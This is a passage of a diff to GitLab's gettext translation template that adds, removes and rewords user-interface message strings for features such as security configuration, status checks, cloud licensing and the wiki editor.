msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29083,9 +28834,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29238,12 +28986,6 @@ msgstr[3] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29310,6 +29052,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29331,6 +29076,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29340,6 +29088,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29364,9 +29118,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29376,12 +29139,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29394,7 +29166,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29403,6 +29178,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29415,6 +29196,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29427,7 +29229,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29490,6 +29292,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29595,6 +29400,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29697,9 +29505,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29730,9 +29535,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29835,9 +29646,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29931,7 +29739,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29970,10 +29778,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -30015,9 +29823,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -30060,6 +29865,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30150,6 +29958,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30330,9 +30141,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30357,6 +30165,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30381,9 +30192,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30411,9 +30219,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30447,12 +30252,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30503,6 +30302,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30836,9 +30638,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30941,6 +30740,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31007,12 +30809,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31046,9 +30842,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -31091,9 +30884,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -31145,6 +30935,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -31163,6 +30956,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31265,15 +31061,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31490,12 +31277,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31514,7 +31307,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31544,6 +31337,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31631,6 +31427,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31640,9 +31439,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31997,6 +31793,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32015,7 +31814,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32087,9 +31892,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32102,7 +31904,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32150,7 +31952,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32165,7 +31967,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -32174,10 +31976,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32369,6 +32171,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32734,7 +32539,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32743,6 +32548,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32752,6 +32560,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32785,9 +32596,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32821,7 +32629,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32851,6 +32659,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32927,6 +32738,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32948,15 +32762,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -33041,18 +32855,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -33116,9 +32924,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -33137,10 +32942,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -33155,9 +32960,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -33167,9 +32969,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33188,9 +32987,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33332,9 +33128,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33455,6 +33248,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33530,6 +33326,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33563,7 +33362,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33659,6 +33458,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33698,9 +33500,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33785,7 +33584,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34528,9 +34327,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34615,9 +34420,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34717,9 +34519,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34732,6 +34543,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34780,6 +34594,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35261,12 +35084,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35357,21 +35174,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35507,9 +35309,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35846,9 +35645,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35978,6 +35783,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36275,9 +36083,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36287,9 +36092,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36371,9 +36182,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36463,6 +36271,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36481,9 +36292,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36517,6 +36325,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36586,7 +36397,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36727,7 +36541,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36859,6 +36673,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37159,6 +36976,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -37168,6 +36994,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37370,7 +37199,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37391,6 +37220,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37406,16 +37238,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37430,10 +37262,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37703,6 +37541,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37742,9 +37583,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37922,21 +37760,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38000,9 +37835,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38162,12 +37994,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
